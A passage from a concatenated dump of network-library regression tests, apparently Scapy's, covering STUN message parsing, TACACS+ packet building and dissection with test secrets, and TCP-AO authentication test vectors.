parsed.stun_message_type) == "Binding success response" assert parsed.length == 24 assert parsed.magic_cookie == 0x2112A442 assert parsed.transaction_id == 0x911b2532998da01cf9d053d9, parsed.transaction_id assert len(parsed.attributes) == 1, len(parsed.attributes) assert parsed.attributes[0].type == 0x0020, parsed.attributes[0].type assert parsed.attributes[0].length == 20, parsed.attributes[0].length assert parsed.attributes[0].address_family == 0x02, parsed.attributes[0].address_family assert parsed.attributes[0].xport == 7621, parsed.attributes[0].xport assert parsed.attributes[0].xip == "::1", parsed.attributes[0].xip = test STUN classic binding success response raw = b"\x01\x01\x00\x0c\x37\x06\xd1\x4d\x38\x3a\xd6\xc8\x40\x5e\x17\x9a" \ b"\x93\x92\xea\xa8\x00\x01\x00\x08\x00\x01\x0d\x14\xc0\xa8\x00\x05" parsed = STUN(raw) assert parsed.RESERVED == 0x00, parsed.RESERVED assert STUN.stun_message_type.i2repr(None, parsed.stun_message_type) == "Binding success response" assert parsed.length == 12 assert parsed.magic_cookie == 0x3706d14d assert parsed.transaction_id == 0x383ad6c8405e179a9392eaa8, parsed.transaction_id assert len(parsed.attributes) == 1, len(parsed.attributes) assert parsed.attributes[0].type == 0x0001, parsed.attributes[0].type assert parsed.attributes[0].length == 8, parsed.attributes[0].length assert parsed.attributes[0].address_family == 0x01, parsed.attributes[0].address_family assert parsed.attributes[0].port == 3348, parsed.attributes[0].port assert parsed.attributes[0].ip == "192.168.0.5", parsed.attributes[0].ip = test STUN binding indication 1 raw = b"\x00\x11\x00\x08\x21\x12\xa4\x42\x29\x3d\x68\x7b\x0f\xbc\x44\x7c" \ b"\x01\xb5\x8d\x2e\x80\x28\x00\x04\xc8\x84\xfe\x99" parsed = STUN(raw) assert parsed.RESERVED == 0x00, parsed.RESERVED assert STUN.stun_message_type.i2repr(None, parsed.stun_message_type) == "Binding indication" assert parsed.length == 8 assert parsed.magic_cookie == 0x2112A442 assert parsed.transaction_id == 0x293d687b0fbc447c01b58d2e, parsed.transaction_id assert parsed.attributes == [ STUNFingerprint(crc_32=0xc884fe99) ] = test STUN binding indication 2 raw = b"\x00\x11\x00\x08\x21\x12\xa4\x42\x1d\x93\x57\xa1\xe9\x4a\x20\x51" \ b"\x27\x19\x96\xd9\x80\x28\x00\x04\x53\x80\x0d\x81" parsed = STUN(raw) assert parsed.RESERVED == 0x00, parsed.RESERVED assert STUN.stun_message_type.i2repr(None, parsed.stun_message_type) == "Binding indication" assert parsed.length == 8 assert parsed.magic_cookie == 0x2112A442 assert parsed.transaction_id == 0x1d9357a1e94a2051271996d9, parsed.transaction_id assert parsed.attributes == [ STUNFingerprint(crc_32=0x53800d81) ] = test STUN packet build stun = STUN( stun_message_type="Binding request", transaction_id=0x7664047a24772b5748c0f173 ) built = stun.build() parsed = STUN(built) assert parsed.build() == built = test STUN packet build with attributes stun = STUN( stun_message_type="Binding success response", transaction_id=0x3479476534635936316a796a, attributes=[ STUNXorMappedAddress(xport=25000, xip="172.20.0.200"), STUNUsername(length=37, username="Ht11MaRZHc4GOLJUsbu1R3YCs72HYN25:oNph"), STUNMessageIntegrity(hmac_sha1=0x4b67036dfb65ca84d63bcac86c8d5981df657031), STUNFingerprint(crc_32=0x4041e9c3) ] ) built = stun.build() parsed = STUN(built) assert parsed.build() == built = test STUN packet build IPv6 stun = STUN( stun_message_type="Binding success response", transaction_id=0x911b2532998da01cf9d053d9, attributes=[ STUNXorMappedAddress(xport=7621, address_family="IPv6", xip="::1") ] ) built = stun.build() parsed = STUN(built) assert parsed.build() == built assert parsed.attributes[0].length == 20 = test STUN bottom up binding 1 udp = UDP(sport=62049, dport=3478) / STUN() built = udp.build() parsed = UDP(built) assert type(parsed.payload) == STUN, parsed.show(dump=True) = test STUN bottom up binding 2 udp = UDP(sport=3478, dport=62049) / STUN(stun_message_type="Binding error response") built = udp.build() parsed = UDP(built) assert type(parsed.payload) == STUN, parsed.show(dump=True) = test STUN top down binding udp = UDP() / STUN() built = udp.build() parsed = UDP(built) assert parsed.sport == 3478, parsed.sport assert parsed.dport == 3478, parsed.dport ================================================ FILE: test/contrib/tacacs.uts ================================================ # TACACS+ related regression tests # # Type the following command to launch the tests: # $ test/run_tests -P "load_contrib('tacacs')" -t test/contrib/tacacs.uts + Tacacs+ header = default instantiation pkt = IP()/TCP(dport=49)/TacacsHeader() raw(pkt) == b'E\x00\x004\x00\x01\x00\x00@\x06|\xc1\x7f\x00\x00\x01\x7f\x00\x00\x01\x001\x001\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\xd0p\x00\x00\xc0\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00' = default values build pkt = IP()/TCP(dport=49)/TacacsHeader() pkt.session_id == 0 and TacacsHeader in pkt = filled values build pkt = IP()/TCP(dport=49)/TacacsHeader(seq=5, session_id=165) raw(pkt) == b'E\x00\x004\x00\x01\x00\x00@\x06|\xc1\x7f\x00\x00\x01\x7f\x00\x00\x01\x001\x001\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\xcb\xcb\x00\x00\xc0\x01\x05\x00\x00\x00\x00\xa5\x00\x00\x00\x00' = dissection pkt = Ether(b'\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x08\x00E\x00\x004\x00\x01\x00\x00@\x06|\xc1\x7f\x00\x00\x01\x7f\x00\x00\x01\x001\x001\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\x1c4\x00\x00\xc0\x01\x01\x00\x00Y\xb3\xe3\x00\x00\x00\x00') pkt.session_id == 5878755 + Tacacs+ Authentication Start = default instantiation pkt = IP()/TCP(dport=49)/TacacsHeader()/TacacsAuthenticationStart() raw(pkt) == b'E\x00\x00<\x00\x01\x00\x00@\x06|\xb9\x7f\x00\x00\x01\x7f\x00\x00\x01\x001\x001\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\xce\xfb\x00\x00\xc0\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x08R\x0f\x9e\xe7\xe0\xd1/\x9c' = default values build pkt = IP()/TCP(dport=49)/TacacsHeader()/TacacsAuthenticationStart() TacacsAuthenticationStart in pkt and pkt.action == 1 and pkt.priv_lvl == 1 and pkt.authen_type == 1 and pkt.authen_service == 1 = filled values build -- SSH connection sample use scapy, secret = test pkt = IP()/TCP(dport=49)/TacacsHeader(seq=1, flags=0, session_id=2424164486, length=28)/TacacsAuthenticationStart(user_len=5, port_len=4, rem_addr_len=11, data_len=0, user='scapy', port='tty2', rem_addr='172.10.10.1') raw(pkt) == b"E\x00\x00P\x00\x01\x00\x00@\x06|\xa5\x7f\x00\x00\x01\x7f\x00\x00\x01\x001\x001\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\xd4t\x00\x00\xc0\x01\x01\x00\x90}\xd0\x86\x00\x00\x00\x1c\x05\x00POza\xed\xee}\xa5R\xd3Vu+\xbb'\xae\x98\xaa\x1a\x9d\x17=\x90\xd2\x07q" = dissection pkt = Ether(b'\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x08\x00E\x00\x00P\x00\x01\x00\x00@\x06|\xa5\x7f\x00\x00\x01\x7f\x00\x00\x01\x001\x001\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\xd5t\x00\x00\xc0\x01\x01\x00\x90}\xd0\x86\x00\x00\x00\x1c\x05\x00POza\xed\xee}\xa5R\xd3Vu+\xbb&\xae\x98\xaa\x1a\x9d\x17=\x90\xd2\x07q') pkt.user == b'scapy' and pkt.port == b'tty3' + Tacacs+ Authentication Reply = default instantiation pkt = IP()/TCP(dport=49)/TacacsHeader()/TacacsAuthenticationReply() raw(pkt) == b'E\x00\x00:\x00\x01\x00\x00@\x06|\xbb\x7f\x00\x00\x01\x7f\x00\x00\x01\x001\x001\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\xfd\x9d\x00\x00\xc0\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x06R\x0e\x9f\xe6\xe0\xd1' = default values build pkt = IP()/TCP(dport=49)/TacacsHeader(seq=2)/TacacsAuthenticationReply() TacacsAuthenticationReply in pkt and pkt.status == 1 = filled values build -- SSH connection sample use scapy, secret = test pkt = IP()/TCP(dport=49)/TacacsHeader(seq=2, flags=0, session_id=2424164486, length=16)/TacacsAuthenticationReply(status=5, flags=1, server_msg_len=10, data_len=0, server_msg='Password: ') raw(pkt) == b'E\x00\x00D\x00\x01\x00\x00@\x06|\xb1\x7f\x00\x00\x01\x7f\x00\x00\x01\x001\x001\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\x0f\x87\x00\x00\xc0\x01\x02\x00\x90}\xd0\x86\x00\x00\x00\x10*\x0c\x1d\xa0\xa2[xE\x0b\t/s\xee\x8b\xd3o' = dissection pkt = Ether(b'\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x08\x00E\x00\x00D\x00\x01\x00\x00@\x06|\xb1\x7f\x00\x00\x01\x7f\x00\x00\x01\x001\x001\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\x0f\x87\x00\x00\xc0\x01\x02\x00\x90}\xd0\x86\x00\x00\x00\x10*\x0c\x1d\xa0\xa2[xE\x0b\t/s\xee\x8b\xd3o') pkt.server_msg == b'Password: ' + Tacacs+ Authentication Continue = default instantiation pkt = IP()/TCP(dport=49)/TacacsHeader()/TacacsAuthenticationContinue() raw(pkt) == b'E\x00\x009\x00\x01\x00\x00@\x06|\xbc\x7f\x00\x00\x01\x7f\x00\x00\x01\x001\x001\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\xfcp\x00\x00\xc0\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x05S\x0e\x9f\xe6\xe1' = default values build pkt = TacacsAuthenticationContinue() TacacsAuthenticationContinue in pkt and pkt.data == b'' and pkt.user_msg == b'' and pkt.data_len is None and pkt.user_msg_len is None = filled values build -- SSH connection sample secret = test, password = pass pkt = IP()/TCP(dport=49)/TacacsHeader(seq=3, flags=0, session_id=2424164486, length=9)/TacacsAuthenticationContinue(flags=0, user_msg_len=4, data_len=0, user_msg='pass') raw(pkt) == b'E\x00\x00=\x00\x01\x00\x00@\x06|\xb8\x7f\x00\x00\x01\x7f\x00\x00\x01\x001\x001\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00u\xfa\x00\x00\xc0\x01\x03\x00\x90}\xd0\x86\x00\x00\x00\t\xec8\xc1\x8d\xcc\xec(\xacT' = dissection pkt = Ether(b'\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x08\x00E\x00\x00A\x00\x01\x00\x00@\x06|\xb4\x7f\x00\x00\x01\x7f\x00\x00\x01\x001\x001\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\xb5\xfd\x00\x00\xc0\x01\x03\x00\x90}\xd0\x86\x00\x00\x00\r\xec4\xc1\x8d\xcc\xec(\xacT\xd2k&T') pkt.user_msg == b'password' + Tacacs+ Authorization Request = default instantiation pkt = IP()/TCP()/TacacsHeader(type=2)/TacacsAuthorizationRequest() raw(pkt) == b'E\x00\x00<\x00\x01\x00\x00@\x06|\xb9\x7f\x00\x00\x01\x7f\x00\x00\x01\x001\x00P\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\xcd\xdb\x00\x00\xc0\x02\x01\x00\x00\x00\x00\x00\x00\x00\x00\x08S\x0f\x9e\xe7\xe0\xd1/\x9c' = default values build pkt = IP()/TCP(dport=49)/TacacsHeader(type=2)/TacacsAuthorizationRequest() TacacsAuthorizationRequest in pkt and pkt.priv_lvl == 1 and pkt.authen_type == 1 and pkt.authen_service == 1 = filled values build -- SSH connection sample secret = test pkt = IP()/TCP(dport=49)/TacacsHeader(seq=1, type=2 , flags=0, session_id=135252, length=47)/TacacsAuthorizationRequest(authen_method=6, user_len=5, port_len=4, rem_addr_len=11, arg_cnt=2, arg_len_list=[13, 4], user='scapy', port='tty2', rem_addr='172.10.10.1')/TacacsPacketArguments(data='service=shell')/TacacsPacketArguments(data='cmd*') raw(pkt) == b'E\x00\x00c\x00\x01\x00\x00@\x06|\x92\x7f\x00\x00\x01\x7f\x00\x00\x01\x001\x001\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\xb28\x00\x00\xc0\x02\x01\x00\x00\x02\x10T\x00\x00\x00/\xdd\xe0\xe8\xea\xba\xca$Y\xf7\x00\xc2Hh\xed\x03\x1eK84\x10\xb9h\xd7@\x0e\xd5\x13\xf0\xfaA\xfa\xbe;\x01\x82\xecl\xf9\xc6\xa0Z6\x98j\xfd\\9' = dissection pkt = Ether(b'\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x08\x00E\x00\x00c\x00\x01\x00\x00@\x06|\x92\x7f\x00\x00\x01\x7f\x00\x00\x01\x001\x001\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\xc2D\x00\x00\xc0\x02\x01\x00R\xf2\x0e\xf4\x00\x00\x00/\xe6\x01\x03 \xd7\xa9\x91\x7fv\xf2\x15-\x88a\xac$\x14\x9f\xc0\xbb\xb8a\xe0\x86e\xf9\xd9\xa2\xc4\xe7\x0bRI\xc8\xdd\x97\xd5\x80\xcf\xce\x81*"\xbc\x15E\x95') pkt.port == b'tty9' + Tacacs+ Authorization Reply = default instantiation pkt = IP()/TCP()/TacacsHeader(type=2)/TacacsAuthorizationReply() raw(pkt) == b'E\x00\x00:\x00\x01\x00\x00@\x06|\xbb\x7f\x00\x00\x01\x7f\x00\x00\x01\x001\x00P\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\xfc}\x00\x00\xc0\x02\x01\x00\x00\x00\x00\x00\x00\x00\x00\x06S\x0e\x9f\xe6\xe0\xd1' = default values build pkt = TacacsHeader()/TacacsAuthorizationReply() TacacsAuthorizationReply in pkt and pkt.status == 0 and pkt.arg_cnt is None and pkt.data_len is None = filled values build -- SSH connection sample secret = test pkt = Ether()/IP()/TCP(dport=49)/TacacsHeader(seq=2, type=2 , flags=0, session_id=1391595252, length=20)/TacacsAuthorizationReply(status=1, arg_cnt=2, server_msg_len=0, data_len=0, arg_len_list=[11, 1])/TacacsPacketArguments(data='priv-lvl=15')/TacacsPacketArguments(data='a') raw(pkt) == b'\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x08\x00E\x00\x00H\x00\x01\x00\x00@\x06|\xad\x7f\x00\x00\x01\x7f\x00\x00\x01\x001\x001\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00|G\x00\x00\xc0\x02\x02\x00R\xf2\x0e\xf4\x00\x00\x00\x14\xce^Xp~Z\x9b^\xd8Y\xc9"\xf5\xb0&\xe5Ji\xa8\x15' = dissection pkt = Ether(b'\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x08\x00E\x00\x00H\x00\x01\x00\x00@\x06|\xad\x7f\x00\x00\x01\x7f\x00\x00\x01\x001\x001\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00|G\x00\x00\xc0\x02\x02\x00R\xf2\x0e\xf4\x00\x00\x00\x14\xce^Xp~Z\x9b^\xd8Y\xc9"\xf5\xb0&\xe5Ji\xa8\x15') pkt.status == 1 + Tacacs+ Accounting Request = default instantiation pkt = IP()/TCP()/TacacsHeader(type=3)/TacacsAccountingRequest() raw(pkt) == b'E\x00\x00=\x00\x01\x00\x00@\x06|\xb8\x7f\x00\x00\x01\x7f\x00\x00\x01\x001\x00P\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\xb3\xd9\x00\x00\xc0\x03\x01\x00\x00\x00\x00\x00\x00\x00\x00\tS\x0e\x9e\xe7\xe1\xd1/\x9c\x19' = default value build pkt = IP()/TCP()/TacacsHeader(type=3)/TacacsAccountingRequest() TacacsAccountingRequest in pkt and pkt.authen_method == 0 and pkt.priv_lvl == 1 and pkt.authen_type == 1 = filled values build -- SSH connection sample secret = test pkt = IP()/TCP(dport=49)/TacacsHeader(seq=1, type=3 , flags=0, session_id=3059434316, length=67)/TacacsAccountingRequest(flags=2, authen_method=6, priv_lvl=15, authen_type=1, authen_service=1, user_len=5, port_len=4, rem_addr_len=11, arg_cnt=3, arg_len_list=[10, 12, 13], user='scapy', port='tty2', rem_addr='172.10.10.1')/TacacsPacketArguments(data='task_id=24')/TacacsPacketArguments(data='timezone=CET')/TacacsPacketArguments(data='service=shell') raw(pkt) == b'E\x00\x00w\x00\x01\x00\x00@\x06|~\x7f\x00\x00\x01\x7f\x00\x00\x01\x001\x001\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00sk\x00\x00\xc0\x03\x01\x00\xb6[CL\x00\x00\x00C\x1d\xfb\x81\xd52\xfb\x06\x8b\t\xb9\x0c87\xd3 i\x05\xb5|\x9f\x01l\xbf/\xd3\rc\x0f\nDr\xc0\xc9.\x88@*(S\xfeA\xd4\x19wFj=\xc3\x9f\x00!D\xbe$E\x04\x0e\xe75\x99\xd6\r\x0f\x16\xc7\x1d\xc2' = dissection pkt = Ether(b'\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x08\x00E\x00\x00w\x00\x01\x00\x00@\x06|~\x7f\x00\x00\x01\x7f\x00\x00\x01\x001\x001\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00|j\x00\x00\xc0\x03\x01\x00\xb6[CL\x00\x00\x00C\x1d\xfb\x81\xd52\xfb\x06\x8b\t\xb9\x0c87\xd3 i\x05\xb5|\x9f\x01l\xb1/\xd3\rc\x0f\nDr\xc0\xc9.\x88@*(S\xfeF\xd5\x19wFj=\xc3\x9f\x00!D\xbe$E\x04\x0e\xe75\x99\xd6\r\x0f\x16\xc7\x1d\xc2') pkt.rem_addr == b'192.10.10.1' + Tacacs+ Accounting Reply = default instantiation pkt = IP()/TCP(dport=49)/TacacsHeader(seq=2, type=3)/TacacsAccountingReply() raw(pkt) == b'E\x00\x009\x00\x01\x00\x00@\x06|\xbc\x7f\x00\x00\x01\x7f\x00\x00\x01\x001\x001\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00,\x07\x00\x00\xc0\x03\x02\x00\x00\x00\x00\x00\x00\x00\x00\x05B\xd2A\x8b\x1f' = default values build pkt = IP()/TCP(dport=49)/TacacsHeader(seq=2, type=3)/TacacsAccountingReply() TacacsAccountingReply in pkt and pkt.server_msg == b'' and pkt.server_msg_len is None and pkt.status is None = filled values build -- SSH connection sample secret = test pkt = Ether()/IP()/TCP(dport=49)/TacacsHeader(seq=2, type=3 , flags=0, session_id=3059434316, length=5)/TacacsAccountingReply(status=1, server_msg_len=0, data_len=0) raw(pkt) == b'\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x08\x00E\x00\x009\x00\x01\x00\x00@\x06|\xbc\x7f\x00\x00\x01\x7f\x00\x00\x01\x001\x001\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\xc5\x7f\x00\x00\xc0\x03\x02\x00\xb6[CL\x00\x00\x00\x05\xf4\x0f\xad,o' = dissection pkt = Ether(b'\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x08\x00E\x00\x009\x00\x01\x00\x00@\x06|\xbc\x7f\x00\x00\x01\x7f\x00\x00\x01\x001\x001\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\xc5\x7f\x00\x00\xc0\x03\x02\x00\xb6[CL\x00\x00\x00\x05\xf4\x0f\xad,o') pkt.status == 1 + Changing secret to foobar = instantiation scapy.contrib.tacacs.SECRET = 'foobar' pkt = Ether()/IP()/TCP(dport=49)/TacacsHeader(session_id=441255181, type=3, seq=2, length=5)/TacacsAccountingReply(status=1, server_msg_len=0, data_len=0) raw(pkt) == b'\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x08\x00E\x00\x009\x00\x01\x00\x00@\x06|\xbc\x7f\x00\x00\x01\x7f\x00\x00\x01\x001\x001\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00/,\x00\x00\xc0\x03\x02\x00\x1aM\x05\r\x00\x00\x00\x05S)\x9b\xb4\x92' = dissection scapy.contrib.tacacs.SECRET = 'foobar' pkt = Ether(b'\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x08\x00E\x00\x009\x00\x01\x00\x00@\x06|\xbc\x7f\x00\x00\x01\x7f\x00\x00\x01\x001\x001\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00/,\x00\x00\xc0\x03\x02\x00\x1aM\x05\r\x00\x00\x00\x05S)\x9b\xb4\x92') pkt.status == 1 + Unencrypted Authentication = instantiation pkt = IP()/TCP(dport=49)/TacacsHeader(seq=1, flags=1, session_id=2424164486, length=28)/TacacsAuthenticationStart(user_len=5, port_len=4, rem_addr_len=11, data_len=0, user='scapy', port='tty2', rem_addr='172.10.10.1') raw(pkt) == b"E\x00\x00P\x00\x01\x00\x00@\x06|\xa5\x7f\x00\x00\x01\x7f\x00\x00\x01\x001\x001\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00sG\x00\x00\xc0\x01\x01\x01\x90}\xd0\x86\x00\x00\x00\x1c\x01\x01\x01\x01\x05\x04\x0b\x00scapytty2172.10.10.1" = dissection pkt = Ether(b'\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x08\x00E\x00\x00P\x00\x01\x00\x00@\x06|\xa5\x7f\x00\x00\x01\x7f\x00\x00\x01\x001\x001\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00sG\x00\x00\xc0\x01\x01\x01\x90}\xd0\x86\x00\x00\x00\x1c\x01\x01\x01\x01\x05\x04\x0b\x00scapytty2172.10.10.1') pkt.user == b'scapy' and pkt.port == b'tty2' ================================================ FILE: test/contrib/tcpao.uts ================================================ % Tests for RFC5925 TCP Authentication Option (TCP-AO) ~ tcp tcpao # Some data from https://datatracker.ietf.org/doc/html/draft-touch-tcpm-ao-test-vectors-02 + Test Utilities = Test Utilities # Tolerate all whitespace like py37+ bytes.fromhex def fromhex(hex): return bytes(bytearray.fromhex(hex.replace(" ", "").replace("\n", ""))) + TCP-AO Test Vectors = TCP-AO Test Vectors Utilities from scapy.contrib import tcpao master_key = b"testvector" client_keyid = 61 server_keyid = 84 def check( packet_hex, traffic_key_hex, mac_hex, src_isn, dst_isn, include_options=True, alg_name="HMAC-SHA-1-96", sne=0, ): packet_bytes = fromhex(packet_hex) # sanity check for ip version ipv = orb(packet_bytes[0]) >> 4 if ipv == 4: p = IP(fromhex(packet_hex)) assert p[IP].proto == socket.IPPROTO_TCP elif ipv == 6: p = IPv6(fromhex(packet_hex)) assert p[IPv6].nh == socket.IPPROTO_TCP else: raise ValueError("bad ipv={}".format(ipv)) # sanity check for seq/ack in SYN/ACK packets if p[TCP].flags.S and p[TCP].flags.A is False: assert p[TCP].seq == src_isn assert p[TCP].ack == 0 if p[TCP].flags.S and p[TCP].flags.A: assert p[TCP].seq == src_isn assert p[TCP].ack == dst_isn + 1 # check option bytes in header opt = get_tcpao(p[TCP]) assert opt is not None assert opt.keyid in [client_keyid, server_keyid] assert opt.rnextkeyid in [client_keyid, server_keyid] assert opt.mac == fromhex(mac_hex), "match parsed mac" # check traffic key alg = get_alg(alg_name) context_bytes = tcpao.build_context_from_packet(p, src_isn, dst_isn) traffic_key = alg.kdf(master_key, context_bytes) assert traffic_key == fromhex(traffic_key_hex), "match traffic key" # check mac message_bytes = tcpao.build_message_from_packet( p, include_options=include_options, sne=sne ) mac = alg.mac(traffic_key, message_bytes) assert mac == fromhex(mac_hex), "match computed mac" = TCP-AO Test Vector 4.1.1: SHA-1 Send Syn client_isn_41x = 0xFBFBAB5A server_isn_41x = 0x11C14261 check( """ 45 e0 00 4c dd 0f 40 00 ff 06 bf 6b 0a 0b 0c 0d ac 1b 1c 1d e9 d7 00 b3 fb fb ab 5a 00 00 00 00 e0 02 ff ff ca c4 00 00 02 04 05 b4 01 03 03 08 04 02 08 0a 00 15 5a b7 00 00 00 00 1d 10 3d 54 2e e4 37 c6 f8 ed e6 d7 c4 d6 02 e7 """, "6d 63 ef 1b 02 fe 15 09 d4 b1 40 27 07 fd 7b 04 16 ab b7 4f", "2e e4 37 c6 f8 ed e6 d7 c4 d6 02 e7", client_isn_41x, 0, ) = TCP-AO Test Vector 4.1.2 SHA-1 Recv Syn-Ack check( """ 45 e0 00 4c 65 06 40 00 ff 06 37 75 ac 1b 1c 1d 0a 0b 0c 0d 00 b3 e9 d7 11 c1 42 61 fb fb ab 5b e0 12 ff ff 37 76 00 00 02 04 05 b4 01 03 03 08 04 02 08 0a 84 a5 0b eb 00 15 5a b7 1d 10 54 3d ee ab 0f e2 4c 30 10 81 51 16 b3 be """, "d9 e2 17 e4 83 4a 80 ca 2f 3f d8 de 2e 41 b8 e6 79 7f ea 96", "ee ab 0f e2 4c 30 10 81 51 16 b3 be", server_isn_41x, client_isn_41x, ) = TCP-AO Test Vector 4.1.3 SHA-1 Send Other check( """ 45 e0 00 87 36 a1 40 00 ff 06 65 9f 0a 0b 0c 0d ac 1b 1c 1d e9 d7 00 b3 fb fb ab 5b 11 c1 42 62 c0 18 01 04 a1 62 00 00 01 01 08 0a 00 15 5a c1 84 a5 0b eb 1d 10 3d 54 70 64 cf 99 8c c6 c3 15 c2 c2 e2 bf ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 00 43 01 04 da bf 00 b4 0a 0b 0c 0d 26 02 06 01 04 00 01 00 01 02 02 80 00 02 02 02 00 02 02 42 00 02 06 41 04 00 00 da bf 02 08 40 06 00 64 00 01 01 00 """, "d2 e5 9c 65 ff c7 b1 a3 93 47 65 64 63 b7 0e dc 24 a1 3d 71", "70 64 cf 99 8c c6 c3 15 c2 c2 e2 bf", client_isn_41x, server_isn_41x, ) = TCP-AO Test Vector 4.1.4 SHA-1 Recv Other check( """ 45 e0 00 87 1f a9 40 00 ff 06 7c 97 ac 1b 1c 1d 0a 0b 0c 0d 00 b3 e9 d7 11 c1 42 62 fb fb ab 9e c0 18 01 00 40 0c 00 00 01 01 08 0a 84 a5 0b f5 00 15 5a c1 1d 10 54 3d a6 3f 0e cb bb 2e 63 5c 95 4d ea c7 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 00 43 01 04 da c0 00 b4 ac 1b 1c 1d 26 02 06 01 04 00 01 00 01 02 02 80 00 02 02 02 00 02 02 42 00 02 06 41 04 00 00 da c0 02 08 40 06 00 64 00 01 01 00 """, "d9 e2 17 e4 83 4a 80 ca 2f 3f d8 de 2e 41 b8 e6 79 7f ea 96", "a6 3f 0e cb bb 2e 63 5c 95 4d ea c7", server_isn_41x, client_isn_41x, ) = TCP-AO Test Vector 4.2.1 client_isn_42x = 0xCB0EFBEE server_isn_42x = 0xACD5B5E1 check( """ 45 e0 00 4c 53 99 40 00 ff 06 48 e2 0a 0b 0c 0d ac 1b 1c 1d ff 12 00 b3 cb 0e fb ee 00 00 00 00 e0 02 ff ff 54 1f 00 00 02 04 05 b4 01 03 03 08 04 02 08 0a 00 02 4c ce 00 00 00 00 1d 10 3d 54 80 af 3c fe b8 53 68 93 7b 8f 9e c2 """, "30 ea a1 56 0c f0 be 57 da b5 c0 45 22 9f b1 0a 42 3c d7 ea", "80 af 3c fe b8 53 68 93 7b 8f 9e c2", client_isn_42x, 0, include_options=False, ) = TCP-AO Test Vector 4.2.2 check( """ 45 e0 00 4c 32 84 40 00 ff 06 69 f7 ac 1b 1c 1d 0a 0b 0c 0d 00 b3 ff 12 ac d5 b5 e1 cb 0e fb ef e0 12 ff ff 38 8e 00 00 02 04 05 b4 01 03 03 08 04 02 08 0a 57 67 72 f3 00 02 4c ce 1d 10 54 3d 09 30 6f 9a ce a6 3a 8c 68 cb 9a 70 """, "b5 b2 89 6b b3 66 4e 81 76 b0 ed c6 e7 99 52 41 01 a8 30 7f", "09 30 6f 9a ce a6 3a 8c 68 cb 9a 70", server_isn_42x, client_isn_42x, include_options=False, ) = TCP-AO Test Vector 4.2.3 check( """ 45 e0 00 87 a8 f5 40 00 ff 06 f3 4a 0a 0b 0c 0d ac 1b 1c 1d ff 12 00 b3 cb 0e fb ef ac d5 b5 e2 c0 18 01 04 6c 45 00 00 01 01 08 0a 00 02 4c ce 57 67 72 f3 1d 10 3d 54 71 06 08 cc 69 6c 03 a2 71 c9 3a a5 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 00 43 01 04 da bf 00 b4 0a 0b 0c 0d 26 02 06 01 04 00 01 00 01 02 02 80 00 02 02 02 00 02 02 42 00 02 06 41 04 00 00 da bf 02 08 40 06 00 64 00 01 01 00 """, "f3 db 17 93 d7 91 0e cd 80 6c 34 f1 55 ea 1f 00 34 59 53 e3", "71 06 08 cc 69 6c 03 a2 71 c9 3a a5", client_isn_42x, server_isn_42x, include_options=False, ) = TCP-AO Test Vector 4.2.4 check( """ 45 e0 00 87 54 37 40 00 ff 06 48 09 ac 1b 1c 1d 0a 0b 0c 0d 00 b3 ff 12 ac d5 b5 e2 cb 0e fc 32 c0 18 01 00 46 b6 00 00 01 01 08 0a 57 67 72 f3 00 02 4c ce 1d 10 54 3d 97 76 6e 48 ac 26 2d e9 ae 61 b4 f9 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 00 43 01 04 da c0 00 b4 ac 1b 1c 1d 26 02 06 01 04 00 01 00 01 02 02 80 00 02 02 02 00 02 02 42 00 02 06 41 04 00 00 da c0 02 08 40 06 00 64 00 01 01 00 """, "b5 b2 89 6b b3 66 4e 81 76 b0 ed c6 e7 99 52 41 01 a8 30 7f", "97 76 6e 48 ac 26 2d e9 ae 61 b4 f9", server_isn_42x, client_isn_42x, include_options=False, ) = TCP-AO Test Vector 5.1.1 check( """ 45 e0 00 4c 7b 9f 40 00 ff 